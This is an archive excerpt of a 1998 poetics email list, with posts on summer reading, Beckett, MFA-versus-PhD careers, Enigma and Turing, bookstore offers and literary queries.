We also have some signed copies from recent readings of _Little Men_ by Kevin Killian, $12.95; Some Other Kind of Mission ($11) & Sea Lyrics ($6) by Lisa Jarnot; On a Stair ($14.95) & And for Example ($14.95) by Ann Lauterbach.

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books. We must charge some shipping for orders out of the US.

Bridge Street Books, 2814 Pennsylvania Ave NW, Washington, DC 20007.

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916. groberts
summer Beckett reading
Thu 25 Jun 1998

I just finished reading Molloy. I am reading Malone Dies. I will read The Unnamable.

Favorite apothegms of dubious worth:

> "To restore silence is the role of objects."
> "Everything divides into itself, I suppose."

Favorite exclamation: "Ah shilly-shally."

Favorite morbid dilation: "And once again I am I will not say alone, no, that's not like me, but, how shall I say, I don't know, restored to myself, no, I never left myself, free, yes, I don't know what that means but it's the word I mean to use, free to do what, to do nothing, to know, but what, the laws of the mind perhaps, of my mind, that for example water rises in proportion as it drowns you and that you would do better, at least no worse, to obliterate texts than to blacken margins, to fill in the holes of words till all is blank and flat and the whole ghastly business looks like what it is, senseless, speechless, issueless misery."

Favorite inscrutable summation: "From their places masses move, stark as laws. Masses of what? One does not ask."

Gary R.

↑ Index

917. **morpheal**

Re: my P.C.'s papa threw a few bricks in his time, pal [subtitled: soon there were little Crays everywhere]

Thu 25 Jun 1998

> *"Lke the Colossus, the ENIAC had been designed for a specific task, that of calculating artillery range tables. Essentially it was to simulate the trajectory of shells through varying conditions of air resistance and wind velocity, which involved the summation of thousands of little pieces of trajectory."---from Alan Turing:The Enigma by Andrew Hodge; see also The Computer from Pascal to von Neumann by Herman H. Goldstine & John von Neumann and Norbert Wiener: From Mathematics to the Technologies of Life and Death by Steve J. Heims*

I am very confused about this.

What is the actual difference between a "Turing machine" and an "Enigma engine" ?" There must be a difference, must there not, between those two devices ?

Can anyone clarify that, somewhat ?

Also can anyone define, in relation to each other: Enigma, Colossus,and ENIAC ?

(Not as simple as it seems.)

M.

↑ Index

918. **Blaise Cirelli**

Postmodern Prose

Thu 25 Jun 1998

I'll be teaching a short class on Postmodernism literature at our community college. Does anyone know of a good anthology that contains Postmodern Prose? I'm looking for some short works. I'd like something equivalent to the poetic anthologies of Hoover and Rothenberg.

Please backchannel me if you have any recommendations.

↑ Index

919. **trbell**

Re: Books +

Thu 25 Jun 1998

On Thu, 25 Jun 1998 07:05:46 -0400 Susan Wheeler said:
>A question for you listites: what are instances of writing "out of" (however

>you would see this) a culture other than one's own which seem to you to
>WORK, ethically as well as aesthetically, or do you see this inevitably as
>an impossible task?

In what is another culture for me I have been working to find out what I feel rather than to just express. I feel it has worked so will continue.

tom bell

↑ Index

920. **David W. Clippinger**
Re: Postmodern Prose
Thu 25 Jun 1998

Postmodern American Fiction might be of interest. (Norton, 1997)

David Clippinger
Assistant Professor of English
Penn State University

At 03:23 PM 6/25/98 -0700, you wrote:
> I'll be teaching a short class on Postmodernism literature at our
> community college. Does anyone know of a good anthology that contains
> Postmodern Prose? I'm looking for some short works. I'd like
> something equivalent to the poetic anthologies of Hoover and
> Rothenberg.
>
> Please backchannel me if you have any recommendations.
>
>

↑ Index

921. **Susan Wheeler**
Yes, and . .
Thu 25 Jun 1998

Thanks, Mark, Mark, Simon, Nada. I had in mind both writing-through and also representation -- which is what the Berryman would qualify as, yes? -- and yes, cultures defined in a variety of ways (gender but yes, also money, regional accent, job), and work that defines itself as fiction as well as that which is defined as ethnography or . . . poetry.

For five years several years back I did PR for anthropology faculty (as well as other disciplines) and did have a hard time with observation's goal being a generalization, a summation, of a group of individuals or of individual groups. This

may not be the inevitable result of writing acts, though this is the question I leave open.

There's more to say, but I'm late elsewhere. Other MODELS out there of attempts that were interesting?

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

922. **david bromige**
Summer Beckett
Thu 25 Jun 1998

Gary Roberts, thanks for the choice phrases from Beckett. By way of a tiny footnote : I, Malone. I'm alone. db3

↑ Index

923. **toddbaron**
Re: summerer's tales
Thu 25 Jun 1998

---

ok, then

reading: Catch 22, Moving Borders (Margy Sloane's anthology of 20th cent. women poets--GREAT!), American Lib. WALLACE STEVENS, Easy Riders and Raging Bulls (Hollywood's 1970's--a great book), and all the cookboks I can get.

writing: EYE--a continuation of a book I started three years ago (some of which appeared in The ARt of Practice antology, a new work vaguely entitled Enclosure, and a body of visual texts (along with my wife)...

yrs,

Todd Baron
--
ReMap magazine
--

↑ Index

924. **R.Gancie/C.Parcelli**
utopia
Thu 25 Jun 1998

"One may say, indeed, quite generally, that a theory we acclaim as rational in itself is thereby accredited with prophetic powers. We accept it in the hope of making contact with reality....In this wholly indeterminate scope of its true implications lies the deepest sense in which objectivity is attributed to a scientific theory....[Objectivity] is not a counsel of self-effacement, but the very reverse--a call to the Pygmalion in the mind of man."---from Personal Knowledge by Michael Polanyi

↑ Index

925. **Karen Kelley**
Re: Summerer
Thu 25 Jun 1998

In process of reading:
Durrell's _Justine_
Peter Gay's _Freud Reader_
Paul Davies' _Mind of God_

Intend to (continue) read(ing):
all R. Gancie posts*

*and I still don't have a definition for "ratiomorphous"

↑ Index

926. **toddbaron**
Re: Postmodern Prose
Thu 25 Jun 1998

A short story collection (inexpension--GREAT!) is

SUPERFICTION: with work by Barth, Barthleme, Pynchon, Reed, Sorrentino, Sukenick, Hwakes--etc.

pub. by Vintage. edited by Joe David Bellamy

yrs,

Todd Baron

↑ Index

927. **david bromige**
Hilbert & Langpo (a linkage by R.Gancie)
Thu 25 Jun 1998

This may be out of date . . .been scrolling up the inbox after several heavy days. In any case : The British poet, painter & polymath, Alan Fisher, has poem/s titled (I think) "In a Hilbert Space." Sorry I cant find in which of his many books. And surely he qualifies for the rubric "Language Poet," as long as that's not heard as reductive. Perhaps Ken Edwards or Chris Cheek, who used to be on this list, can supply further info. David

↑ Index

928. **Jim Andrews**
Enigma
Fri 26 Jun 1998

> *What is the actual difference between a "Turing machine" and an "Enigma engine" ?" There must be a difference, must there not, between those two devices ?*

"Turing machine" is a term applied to any machine that has certain very generalized properties. It's a term used mainly in theoretical computer science. All modern computers are Turing machines. It's a mathematical blueprint for all computers, Turing's formulation of the properties a computer should have. As geometry is to architecture, so is theoretical computer science to computer science.

Though I'm not entirely certain about the term 'Enigma engine,' I presume that it refers to the Enigma device Turing helped devise used to crack the Nazi codes. Usually the term 'engine' refers to a software construct, the central code involved in driving a program. A language engine, of sorts. So the Enigma engine would be the core software involved in the Enigma project.

By the way, the Greek for riddle is aenigma, which also means mystery. Really good riddles. Really good.

--
V I S P O ~ L A N G U (I M) A G E
http://www.islandnet.com/~jandrews/mocambo/jimvispo.htm

↑ Index

929. **Jim Andrews**
MacEwen and Montreal
Fri 26 Jun 1998

Thanks for the MacEwen poem, Douglas.

I'm going to be in Montreal July 1 to July 7. Anybody know of poetry readings in Montreal then?

--
V I S P O ~ L A N G U (I M) A G E
http://www.islandnet.com/~jandrews/mocambo/jimvispo.htm

↑ Index

930. **Alan J.J.N. Sondheim**
Finger
Fri 26 Jun 1998

-

Finger

{k:5}finger -l [redacted]
Name: Daishin Nikuko (nikuko)
Home: /home/r7/nikuko
Shell: /bin/csh
Timeout -- while doing something indeterminable.

at last finger no longer brings home the world
but only a murmuring behind thick or walls filled flush
with oozing text: poor Unix has no geomancy
telling among the rocks of this rare earth
what rare earths glow subluminary;
I search and find nothing but something, a something
indeterminable, skittering across protocols and bins,
hungering after permissions and lost directories,
buried within the mining of metals and coals,
tunneled and shored by timbers diffused with light:
at last the finger points; and what bleak source
eludes, dissolves, and steers the Word off course?

↑ Index

931. **Billy Little**
Re: Yes, and . .
Fri 26 Jun 1998

---

there was the cockroach speaking thru Don Marquis and Haniel Long's Malinche to Cortes

↑ Index

932. **Simon J. Schuchat**
Enigma
Fri 26 Jun 1998

Listmates --

As I prepare to leave Taiwan after three years, I must sign off the list, at least until I have a new ISP, address, etc, etc. It has been a great experience to participate in this community -- previous times overseas I've been cut off from most multi or dia logue on these topics and having been on the list I realize how much I missed before there was a list or any equivalent accessible. Many thanks to all of you,

cheers,

Simon Schuchat

↑ Index

933. **George Bowering**
Re: a stanza
Fri 26 Jun 1998

A stanza is for keeping your mobilia and libri in.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

934. **Simon J. Schuchat**
Re: a stanza
Fri 26 Jun 1998

---

the Nissan Stanza is for both city and country driving

↑ Index

935. **J. Kuszai**
address query
Fri 26 Jun 1998

Does anyone have an e-mail address for Stephanie Lang?
Please- BACKCHANNEL this as I'm set to digest.

thanks-

jk

↑ Index

936. **Gwyn McVay**
Re: New @ Bridge Street, Spicer bio, Bellamy, Luoma, Mayer, Notley, Palmer, Perloff.
Fri 26 Jun 1998

OK Rod, you've hooked me again:

I'd like the Spicer bio, the Forrest Gander, and the "Revolution" Rothenberg anthology.

bests, Gwyn

↑ Index

937. **Gwyn McVay**
Re: New @ Bridge Street, Spicer bio, Bellamy, Luoma, Mayer, Notley, Palmer, Perloff.
Fri 26 Jun 1998

OK, now I've done it again. woops. I guess this counts as a post to "summer reading" thread.

embarrassed in the 'burbs

Gwyn

↑ Index

938. **Robert Archambeau**
Re: MFA/PhD
Fri 26 Jun 1998

Brent,

I want to say something or other about the tenure track not really being all that cushy, but then again it beats hell out of any of the other jobs I've had. (My grubling about life here in the ivory tower plays well at faculty meetings but my friends who work at other kinds of jobs tend to hoot with derision when I complain. But man, this tweed suit gets hot in summer, especially under the dark robes and mortarboard...)

So here's my semi-cynical answer to what seems like a semi-cynical question -- this is meant as practical advice about the way things happen, which isn't neccesarily the way they ought to happen:

To get an MFA, a PhD or both -- I suppose it all depends what you want to do. The ads for positions in creative writing tend to ask for both an MFA and book publication now, and some experience with teaching. In a way this is a catch-22: to get a teaching gig you need to have had a teaching gig. But in many MFA programs you do end up doing a fair bit of teaching. I suspect that you'd have to be a pretty established writer to get much of a hearing without an MFA, which seems more than a bit myopic, really.

If you want anything other than creative writing classes and maybe the occasional intro to lit class, you'll probably need either a PhD or some pretty influential friends, preferably both. And the hiring committee will want you to have published "creative" and "critical" work. Unless they're hiring up at Buffalo, they probably won't be sympathetic to the notion that such distinctions aren't always as clear as they may seem.

Having both degrees seems to help, since more and more colleges and universities want people who can teach a variety of courses (and, again, committees tend to rely on degrees as a guide to knowing who can teach what -- I don't think we're in Black Mountain any more, Toto).

R.A.

↑ Index

939. **sylvester pollet**

Russian/Azerbaijani poet seeks help

Fri 26 Jun 1998

Listfriends: I've put the whole exchange in here f.y.i., and because the second note expands the context. If anyone has any suggestions, please send them directly to Ms. Alaverdova at the addresses given in her first note--she's not on the list. Thanks, S.

> *At 11:45 AM -0400 6/25/98, Liana Alaverdova wrote:*
> *Dear Mr. Pollet:*
>
> *I am the Russian author (I published my poetry in my native country, Azerbaijan, as well as here, in the US, on Russin and English languages). Now I am looking for the person who can be interested in translation my poems and plays into English in order to publish bilingual book or submit my plays to the producers. If you can be of any help in this matter, please let me know. My e-mail addresses are: [redacted] or [redacted].*
> *Thank you for your cooperation.*
>
> *With Best Regards,*

> *Liana Alaverdova*
>
> *Dear Ms. Alaverdova:*
>
> *I don't have any way to help you through the National Poetry Foundation, but I am a member of a discussion list on Poetics based at the State University of New York, at Buffalo. The list has about 600 members, international, and quite a few of them are small press publishers, or interested in translation, or might have suggestions for you. With your permission, I could forward your letter to that list, and ask people to respond to you directly. I won't do so until I hear back with your permission.*
> *Best of luck with your writing, and your quest, Sylvester Pollet*
>
> *Dear Mr. Pollet:*
>
> *I would certainly appreciate if you do this for me. The discussion list is a very good way to find collaboration for people like me who doesn't have any connections in the world of American literature (I don't mean Russian authors in the U.S. I know many of them.) You could add to my message that my plays arise some issues as immigration, national problems, but my main concern was to show human characters and collisions among them.*
>
> *Thank you for your help.*
>
> *With best regards,*

Liana Alaverdova
>>
>>

↑ Index

940. Mark Wallace
query: non-mainstream/avant garde dance theory
Fri 26 Jun 1998

Hello listfolks:

I'm interested in finding out some information about books and articles on contemporary dance, preferably on work outside the mainstream. I'm interested first and foremost on mainfesto/theory/statements of purpose work written by actual practioners and choreographers, but would interested also in academic criticism and/or theoretical work written on the subject. Either backchannel or a post to the list would be fine. My knowledge here is pretty shaky--anything anybody knows would help.

Thanks.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

941. **Rachel Loden**
morbid requests
Fri 26 Jun 1998

Can anyone tell me where Robert Duncan is buried (is Robert Duncan buried)?

Can anyone point me to other literary graves (SF Bay Area)?

Kenneth Patchen (d. 1972) is still in the phone book in Palo Alto, California, but his number doesn't answer. Anyone know where he might be now? I tried the one cemetery in town, Alta Mesa Memorial Park, but only found Ronald "Pigpen" McKernan (epitaph : "Pigpen was and is now forever one of the grateful dead").

Object of search : nothing nefarious; need to pay my respects to death.

Thanks awfully,

Rachel

P.S. Wyatt Earp is buried in Colma.

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942. **morpheal**
Re: Enigma
Fri 26 Jun 1998

>Though I'm not entirely certain about the term 'Enigma engine,' I presume that >it refers to the Enigma device Turing helped devise used to crack the Nazi >codes. Usually the term 'engine' refers to a software construct, the central >code involved in driving a program. A language engine, of sorts. So >the Enigma engine would be the core software involved in the Enigma project.

I had another response describing the "Enigma engine" as a German interchangeable cylinder cypher machine. However, the term is used, very loosely, both ways.

Your answer is essentially the one that gets fullest marks on that quiz. I was being somewhat tongue in cheek as to the Turing and Enigma distinction.

However, you get some more marks on the quiz if you can explain why the hardware for Enigma was so extremely different from that of Colossus. I have seen a photograph of the reconstruction of the hardware configuration, that was published not so very long ago in the newspapers, and it was absolutely mind boggling and astounding, considering when it was built.

>By the way, the Greek for riddle is aenigma, which also means mystery.
Really >good riddles. Really good.

So mysterious that Enigma was ordered dismantled by Winston Churchill, claiming that the machine was "too dangerous" to leave it functioning.

Figure that mystery out and you get the bonus points.

M.

↑ Index

943. **Gwyn McVay**
Re: morbid requests
Fri 26 Jun 1998

>>>I tried the one cemetery in town, Alta Mesa Memorial Park, but
only found Ronald "Pigpen" McKernan (epitaph : "Pigpen was and is now
forever one of the grateful dead")

You know that he was reincarnated as me, right? Pigpen d. 3/8/73, me b. 3/8/73. I'm not entirely unserious.

I'm glad you're holding up well enough to contemplate such a tour, to begin to conceptualize your experience. I've been thinking about you quite a lot, and wishing I had anything to offer in the way of support more than platitudes. Do write when you can.

take care of yourself--g.

↑ Index

944. **Gwyn McVay**
booby prize of the day
Fri 26 Jun 1998

I think I've just done it again, that is, inadvertently, through using Netscape e-mail incautiously, sent a personal message to the listserv. I am green with embarrassment. Cigarettes of shame appear before me. Such things do not become my tender years. Lasers swim on without me.

sumimasen
sumimasen

sumimasen
sumimasen
sumimasen

Gwyn

↑ Index

945. **aerialedge**
Close Listening &
Fri 26 Jun 1998

Price adjustment to _Close Listening_ -- originally priced at $24.95, it's now available from Bridge Street (& anywhere else) for $19.95. Also to mention two Ashbery titles unavailable for a time have been reprinted by Farrar Strauss-- _Flow Chart_, $15, & _A Wave_, $12.

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946. **P.Standard Schaefer**
Boundary 2
Fri 26 Jun 1998

Isn't there supposed to be an issue on international poetry edited by Charles Bernstein out any minute? I'm wondering if anyone knows if this issue is out, is ever coming out. So far none of my searches have turned up anything. Maybe someone can guide toward info regarding this.

Thanks,

Standard

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947. **David Baratier**
[Fwd: Natl. Lib. of Poetry page]
Fri 26 Jun 1998

This is a multi-part message in MIME format.

Here is what I would suggest doing

Be Well

David Baratier

> (post.office MTA v2.0 0813 ID# 0-18094) with ESMTP id AAA234
> for <[redacted]>; Fri, 26 Jun 1998 13:08:08 -0400
> by mail.dti.net (8.9.0/1.3/rdf) with SMTP id NAA26709
> for <[redacted]>; Fri, 26 Jun 1998 13:09:40 -0400 (EDT)

From: "Bruno Navasky" <[redacted]>
To: <[redacted]>
Subject: Natl. Lib. of Poetry page
Date: Fri, 26 Jun 1998 13:11:21 -0400
Importance: Normal

This is a multi-part message in MIME format.

charset="iso-8859-1"

http://www.lit-arts.com/wind/nlp.htm
name="Poetry Contest -- $48,000 in Prizes.url"
filename="Poetry Contest -- $48,000 in Prizes.url"

[InternetShortcut]
URL=http://www.lit-arts.com/wind/nlp.htm
Modified=E0A6BD6225A1BD0129

----------101826F0104B--

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948. **Pritchett,Patrick**
Re: MFA/PhD
Fri 26 Jun 1998

My own plan, Brent, is to forgo the MA (or MFA - big waste anyway, with all due respect) and go straight to the PhD. program. Several of my professors here at the University of Colorado have advised me that this is "the thing to do." Besides which, I'm 41, and getting no younger. However, it all depends what your long term plans are. And how much time and money you feel like spending. I hope to enter a tenure-track teaching post at a decent university. Before the comet pops a cap in the planet's head.

Good recommend, btw, on the new Gander book. There's some stellar work in there.

Patrick Pritchett,
lowly undergrad

From: Brent Long
To: [redacted]
Subject: MFA/PhD
Date: Friday, June 26, 1998 1:50PM

Dear List Members:

I feel like this question is sort of on the outer fringes of the strands concerning MFAs, etc., but being a student (possibly until I perish) and not as of yet in the world of "Academia", I pose this question to those who are in a position to know:

Is it better (if you intend to teach at any institution other than a public high school) to have an MFA or to go on to a PhD???

I understand that in some instances the MFA is looked upon as a "terminal" degree, but you don't often hear (anymore) of someone with an MFA landing a cushy and tenured position at a university somewhere...

Just curious as to your thoughts on this...

Brent
[redacted]

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949. **Mark Nowak**
Re: Yes, and...
Fri 26 Jun 1998

Susan,

When you wrote...

For five years several years back I did PR for anthropology faculty (as well as other disciplines) and did have a hard time with observation's goal being a generalization, a summation, of a group of individuals or of individual groups. This may not be the inevitable result of writing acts, though this is the question I leave open.

...not sure what sort of anthropology faculty you're talking about here. Anthropology faculty are like Poetry/Literature/Creative Writing faculty, in that many of all of the above still cling to out-dated methodologies, praxis, modes of inscription, etc. This kind of statement seems like summarizing the state of contemporary poetry based on what's happening at the MFA program at _____ (fill in almost any institution).

I think anthropologists, innovative anthropologists, have done some of the most significant writing to date on the subjects you put forward. Certainly Clifford's books on _Writing [through] Culture_, _The Predicament of Culture_, the new one _Routes_; Johannes Fabian's _Time and the Other: How Anthropology Makes Its Object_; Lila Abu-Lughod's work (esp. essay in _Recapturing Anthropology_ on being "halfie"-- half "native" & half "other" where one is doing her/his fieldwork); Kirin Naryan's _Storytellers, Saints, & Scoundrels_; and the list goes on & one &...

Another magnificent text of note is Juan Felipe Herrera's _Mayan Drifter: Chicano Poet in the Lowlands of America_ (Temple): Herrera has graduate degrees in both cultural anthropology and poetry (MFA), & brings much insight to the questions of representation, writing (through) culture, etc.

Picking up on Blanchot's ideas of "the fragmentary" in writing, the anthropologists I've encountered have been equally as interested in these points: NOT in summarization. And then there's Gerald Vizenor's wonderful book on this, too: _Manifest Manners_.

OK, I'll stop: I'm off to do fieldwork this weekend (I kid you not!) in Northern Minnesota on the infamous Polka Mass.

later...

Mark

↑ Index

950. **David Baratier**

Re: MFA/PhD

Fri 26 Jun 1998

The last posting was in regards to this debate. Start up a scam poetry contest with your degree in order to legitimize the organization. Create your own college. I would suggest getting an MA or PHD then jumping off the academic wheel into pseudo-academia. It's dangerous out here but the advantages are tremendous: 1. There's more money if you go corporate, esp if yr one of them lang-po computer dweebs like I've been called. 2. No accountability for your statements and few repercussions. I've never been accosted or fired by my employers over a difference in opinion on the marginalization of poetry. 3. No university head to impress. Ibid. 4. College debt is easily repaid. Though I still appreciate the notion that one should die $10,000 in debt. 5. No need to suffer for your art. Come on, what century is this. At least you can get a job as a repo-man for awhile. It's not a third as crazed as folks make it out to be and the cash is primo. In the worse case scenario, sell drugs to your former classmates. I could keep going on ad infinitus. What I will say is this:

> I can do more today for the love of poetry than I could
> ever hope to achieve inside a university setting
> at least according to what my professor friends are
> telling me.

There are tenured friends who have had different experiences but I'm talking about an age group of 28 to 40 who have graduated in the past few years. Perhaps I'm wrong but I keep hearing these disheartening stories over and over...

Be well

David Baratier

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951. R. Gancie

You woulda never known your uncle was dead, if I hadna killed him.

Fri 26 Jun 1998

"The "hot" issues of environmentalism--the possibility of major global warming, the ozone "hole," species impoverishment, overpopulation and its consequences--are issues that would be unknown and unknowable but for the accomplishments of professional science. They exist only because of, and specifically as products of, science."---from Higher Superstition: The Academic Left and its Quarrels With Science by Paul R. Gross and Norman Levitt "The reduction of one unsolved problem to another is some sort of progress, unsatisfying though it may be, but it is not an option in this case. The frame problem is not the problem of induction in disquise. For suppose the problem of induction were solved. Suppose--perhaps miraculously--that our agent has solved all its induction problems or had them solved by fiat; it believes, then, all the right generalizations from its evidence and associates with all of them the appropriate probabilities and conditional probabilities. This agent, ex hypothesi, believes just what it ought to believe about all empirical matters in its ken, including the probabilities of future events. It might still have a bad case of the frame problem, for that problem concerns how to represent (so it can be used) all that hard won empirical information--a problem that arises independently of the truth value, probability, warranted assertability, or subjective certainty of any of it. Even if you have excellent knowledge (and not mere belief) about the changing world, how can this knowledge be represented so that it can be efficaciously brought to bear?... What philosophers (and everyone else) have always known is that people--and no doubt all intelligent agents--can engage in swift, senstive, risky-but-valuable ceteris paribus reasoning. How do we do it? AI may yet not have a good answer, but at least it has encountered the question."---from Cognitive Wheels by Daniel Dennett ---"We murder to dissect." ---cp

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952. Brent Long

MFA/PhD

Fri 26 Jun 1998

Dear List Members:

I feel like this question is sort of on the outer fringes of the strands concerning MFAs, etc., but being a student (possibly until I perish) and not as of yet in the

world of "Academia", I pose this question to those who are in a position to know:

Is it better (if you intend to teach at any institution other than a public high school) to have an MFA or to go on to a PhD???

I understand that in some instances the MFA is looked upon as a "terminal" degree, but you don't often hear (anymore) of someone with an MFA landing a cushy and tenured position at a university somewhere...

Just curious as to your thoughts on this...

Brent
[redacted]

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953. **louis stroffolino**
Re: Boundary 2
Fri 26 Jun 1998

Well, Standard, maybe it's gone the way of the ever elusive
"Oh Canada!" issue of the rusted word.....
I do here tell that CB's next book of poetry is
called my way....
my my--
chris

On Fri, 26 Jun 1998, P.Standard Schaefer wrote:

> *Isn't there supposed to be an issue on international poetry edited by Charles Bernstein out any minute? I'm wondering if anyone knows if this issue is out, is ever coming out. So far none of my searches have turned up anything. Maybe someone can guide toward info regarding this.*
>
> *Thanks,*
>
> *Standard*

↑ Index

954. **louis stroffolino**
Re: MFA/PhD
Fri 26 Jun 1998

Dear Brent---
Good specific "practical" question.
I don't know if there is such a thing as a "cushy" academic job.

Tenure certainly doesn't equal cushy these days,
but since I have neither I tend to sometimes conflate them too...
especially since I have a creative writing masters AND a Scholalry
Ph.D.
I think that nowadays, however, you won't find too many recent Ph.D's
with those tenured jobs either....
If you're thinking CAREER, thinking DEGREE, by itself, means anything,
get a time machine quick and go to the glory glut academic years
of yippie agent orange and viet-niks.
I am not complaining right now (at least I think I'm not)
about going to Bard's MFA program one summer, then dropping out
because I got into (with T.A.) Temple for 2 years (M.A. Program;
at a time when I didn't realize Brown or Iowa would put me on a
certain proper track or loop more easily so I'm told)....
then, after realizing that an MA (and I doubt the lack of a letter
F made any difference) didn't mean much, and turning 30, and
losing my mother, and publishing my first full-length book, and
getting in SULFUR, NAW, APR, etc., and still not being able to
even get an adjunct creative writing (or literature) gig,
decided to go to an MFA Program (to study with James Tate).
I wasn't funded, however, so went only briefly....
and then I guess "fell in love" with Shakespeare Criticism,
or the generic possibilities in working within the form of
a Ph.D. dissertation, and "jumped ship" and then schools
and got into SUNY'S PH.D program (also unfunded, but I thought
that would change. Cuomo was still governor then!)
Regardless, then, of my own choices (for which I take some
--if not quite all--responsibility) that have led to this debt
andthe verge of default (regardless of my own aversion toward
Newtorking those "in power"), I think I'll get a job.....
It will just take longer, but in that time of waiting I'm
trying to see that the more money you make the more you must work.
Well, I hope this answer lites the preverbial cushion....
c

On Fri, 26 Jun 1998, Brent Long wrote:

> *Dear List Members:*
>
> *I feel like this question is sort of on the outer fringes of the strands concerning MFAs, etc., but being a student (possibly until I perish) and not as of yet in the world of "Academia", I pose this question to those who are in a position to know:*

> *Is it better (if you intend to teach at any institution other than a public high school) to have an MFA or to go on to a PhD???*
>
> *I understand that in some instances the MFA is looked upon as a "terminal" degree, but you don't often hear (anymore) of someone with an MFA landing a cushy and tenured position at a university somewhere...*
>
> *Just curious as to your thoughts on this...*
>
> *Brent*
> [redacted]

↑ Index

955. **Richard Long**
Re: MFA/PhD
Fri 26 Jun 1998

Hi Brent,

There's no guarantee that either degree will get you a tenure position. The market right now is simply not that big, and yet the universities continue graduating MFA's and PHDs. If I were you, I'd stop to consider the market and your reasons for wanting an advanced degree: for a gateway to future employment (good luck) or for the pleasure of teaching, reading, and writing. I suppose at one time the two went hand-in-hand, but today there are far too many being accepted into the graduate schools with the understanding that one's pleasure can lead to a find job. That's just not the case, nowadays.

Good luck!
R

↑ Index

956. **R M Daley**
Re: MFA/PhD
Fri 26 Jun 1998

or howzaa bout something completely different and try not to think of your capacity to feed and clothe and house yourself as necessarily having to be an identity issue - as long as you are going to have those (am i a teacher, a poet, a shell-collector, a dog-walker, etc) why not let it be a little loose or better yet forget it - anyone can do anything really, being a high powered exectuive is a lot of dialing a phone or ordering someone to get your mail or having fixing a tie or decisions - sure, problem solving and all that but in the end this seems a lot of hmm well-what-would-i-like-to-label-myself-at-cocktailparties sentiment

mfas seem like a choice for time in some cases, no - immediately presently to have it and be doing that - debt sure and everything, your always paying for something when your 'in the real world' -

just finishing justine - everyone really just wants to fuck you and as long as you enjoy it too they have nothing over you right - certainly Sade loved prison - not that everything cant also always be a Trial

↑ Index

957. **R M Daley**
Re: MFA/PhD
Fri 26 Jun 1998

---

dear chris stroffolino et al also wanted to ask the 'real world' or not so real world, ie what they dont tell you right now, consequences of plain ole default - being young naive in love all that, the prospect of bad credit (no car no house for a long time) wage garnishment and tax refund garnishment dont all sound like the end of the world, maybe even worth a good 30,000 in debt for school - following up on brent's q.

thanks, rd

↑ Index

958. **Brent Long**
Re: MFA/PhD
Fri 26 Jun 1998

I just have to say that I found no point in either of your posts...could you please clarify???

Brent

At 02:15 PM 6/26/98 -0600, you wrote:
>dear chris stroffolino et al
>also wanted to ask the 'real world' or not so real world, ie what they
>dont tell you right now, consequences of plain ole default - being young
>naive in love all that, the prospect of bad credit (no car no house for a
>long time) wage garnishment and tax refund garnishment dont all sound like
>the end of the world, maybe even worth a good 30,000 in debt for school -
>following up on brent's q.
>
>thanks, rd
>
>
[redacted]

↑ Index

959. Charles Bernstein
Re: Boundary 2 / My Way
Fri 26 Jun 1998

In answer to Standard Schaefer's question:

99 Poets / 1999: An International Poetics Symposium, is scheduled for publication as the Spring 1999 issue of boundary 2 (16:2). I edited the symposium with the help of a number of editor/translators, including Pierre Joris (various), Lyn Hejinian (Russian section), Yunte Huang (Chinese section), Ernesto Grosman (Latin American section), Stacy Doris (French section), and Johanna Drucker (visual section), not to mention many others who helped with translations and advise or contributed new works of poetics for this issue.

Also, Chris Stroffolino mentions MY WAY. The University of Chicago Press has just announced MY WAY: Speeches and Poems in their new catalog; it is scheduled to be out by New Year's. The book weaves together essays, poems, interviews, speeches, and harder to classify works, short and long. More information at http://www.press.uchicago.edu/cgi-bin/hfs.cgi/00/13642.ctl

↑ Index

960. Simon DeDeo
1968 & alia (longish; "writing through" and more)
Fri 26 Jun 1998

Down here in Puerto Rico, the students and faculty at UPR are threatening to strike in sympathy with the telephone workers, who have been on strike since the Governor announced the planned sale of the government run telephone company. It's impossible to drive into Aricebo lately without running into fund drives for the striking workers, who gather on the roadside near sharp curves and collect money. As one of the faculty here noted, students have been killed in the past at demonstrations on the UPR campuses, although he didn't know over what or when.

Most of the workers on the roadside are amiable, almost jubilant, and (in a largely working class town) the passers-by are quite friendly; I was in San Juan a few nights ago where things didn't go as smoothly. My Spanish is (unfortunately) too poor to really understand the "poetics" (there we go) of the whole thing, but I do get some help from a colleague who speaks Puerto Rican Spanish and is quite familiar with the dynamics of labor unions here, having been involved in the Electrical Company conflicts earlier in the decade.

In this climate, everybody's been bringing out their war stories from the European campuses in 68 (France) and 70 (Italy); most of people I've talked to took a highly apolitical stance at the time, and look back mostly with amusement, although a few have stories of being accidentally teargassed, and one person was attacked by police after he befriended some of the local leaders so as to pass the blockade and get in to the Physics building to work during the occupation.

There's a Jorie Graham poem partly about her experiences in France of '68; I can't remember the title, although it is in her Selected. Can anybody recall the title/post the text?

Susan -- there, of course, is model of "writing through"; the poet as a witness to a class conflict (in an almost paradigmatic Marxist manner) who feels the need to abandon a purely aesthetic response ("I, poet, record what I see") to attempt a sympathetic or "merged" response with the workers or students.

In Graham's case you have something like this:

POET -- STUDENT -- WORKERS -- WORKER

Where the Poet is firstly herself, the self-expressive "Romantic", secondly a student, participating in a group that she knows and is connected to in emotional ways -- ties of friendship, sex, shared experience -- a dynamism that can lurch between the inclusive (group identity) and exclusive (return to the self as defined as "not the group"). And thirdly, as a participant in a class struggle that can only be perceived by its effects; a sort of sensation of absent presence; helicopters and police as secondary effects of a greater, nonmaterial development; "class struggle" mapped out by it's material boundaries and only glimpsed directly in the peripheral vision of the poet.

The "writing through" occurs in the representation of this absence; in the way that Graham tries to depict the Marxist flows so as to "break through" this third stage and reach a consciousness beyond, the "worker".

Graham's poem, for me at least, always seemed to posess a certain complexity that made depiction of struggle much more disturbing/powerful than a poem who's primary goal was to simply observe the proletariat.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

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961. Matt Kirschenbaum
Re: MFA/PhD
Fri 26 Jun 1998

> *Is it better (if you intend to teach at any institution other than a public high school) to have an MFA or to go on to a PhD???*

I can't speak to creative writing jobs, but for anything else you'll want the PhD. But "better" must be understood as a relative term here. For some idea of what you can expect an academic job search to look like, see this account by Mary Corbin Sies:

